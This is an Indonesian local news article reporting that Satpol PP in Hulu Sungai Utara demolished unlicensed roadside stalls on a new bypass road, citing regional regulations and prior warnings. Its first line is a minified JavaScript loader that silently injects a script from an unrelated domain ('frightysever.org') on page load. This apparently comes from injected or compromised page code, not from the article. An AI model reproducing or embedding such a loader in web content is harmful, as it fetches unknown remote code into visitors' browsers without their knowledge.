(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Satpol PP Kabupaten Hulu Sungai Utara (HSU) merobohkan bangunan warung yang melanggar aturan di jalan bypass Panangkalaan-Bayur, Sabtu (22/6/2024) siang.
Sebelumnya juga ditertibkan beberapa lapak yang tidak dibawa pedagang alias sengaja ditinggal di sekitar tepi jalan bypass yang baru selesai itu.
Kepala Satpol PP dan Damkar Kabupaten HSU, Asikin Noor, saat dikonfirmasi membenarkan, pihaknya kembali melakukan penertiban bangunan warung di ruas bypass Panangkalaan-Bayur.
Baca juga: Pataka Dipindahkan, Polda Kalsel Resmi Bermarkas di Banjarbaru
Dia menjelaskan penertiban ini dilakukan berdasarkan Perda Nomor 9 tahun 2018 tentang Ketertiban Umum dan Ketentraman Masyarakat dan Perda Nomor 3 tahun 2013 tentang Bangunan Gedung.
“Tujuannya menjaga jalan bypass Bayur-Panangkalaan tertib, bersih, dan indah,” kata Asikin Noor kepada Kanalkalimantan.com.
Sasaran Satpol PP HSU Kali ini adalah 10 bangunan warung yang terindikasi melanggar ketentuan berdiri di atas badan jalan tanah milik pemerintah.
Baca juga: Kesiapan Guru Pendidikan Agama Islam dalam Menghadapi Isu Global saat Ini
Sebelumnya pihaknya juga telah melakukan upaya sesuai SOP melalui teguran lisan, teguran tertulis, Surat Peringatan (SP) 1, 2, dan SP 3. Dari 10 pelanggar itu sebelum dilaksanakan eksekusi enam diantaranya sudah melakukan pembongkaran secara mandiri bangunan di atas tanah pemerintah.
“Data awal 10 buah, tapi sebelumnya ada beberapa yang sudah merapikan secara mandiri, jadi hari ini 4 buah saja lagi,” katanya.
Dalam pembongkaran kali ini pihaknya melibatkan personel gabungan yang terdiri dari Satpol PP Damkar, Polri, TNI, Dishub, PUPR, Perkim LH, aparat kecamatan dan desa terkait yaitu Kecamatan Haur Gading dan Amuntai Utara.
Baca juga: 80 Mobil Garuk Tanah Jajal Trek Jack’s Overland #2 Banjarbaru-Kiram
Sebelum lakukan penindakan pihaknya juga telah membuat edaran dan melakukan sosialisasi. Ditambah di beberapa titik dipasangi tulisan peringatan berisi larangan mendirikan bangunan, warung, toko, lapak dan sarana apapun di ruang milik jalan atau tanah milik pemerintah.
Satpol PP HSU juga mengimbauan kepada para pedagang yang berjualan agar memperhatikan dan menjaga kebersihan, tidak mengganggu arus lalu lintas, tidak meninggalkan lapak dagangan di badan atau pinggir jalan.
Baca juga: PLN Perusahaan Utilitas Terbaik Versi Fortune 500 Se Kawasan Asia Tenggara
“Kepada yang akan membangun warung, rumah, ruko dan sejenisnya agar mentaati ketentuan seperti perizinan, tidak di atas tanah jalan tanah milik pemerintah, jarak sempadan bangunan dan lain-lain,” pungkasnya.(Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
This website uses cookies.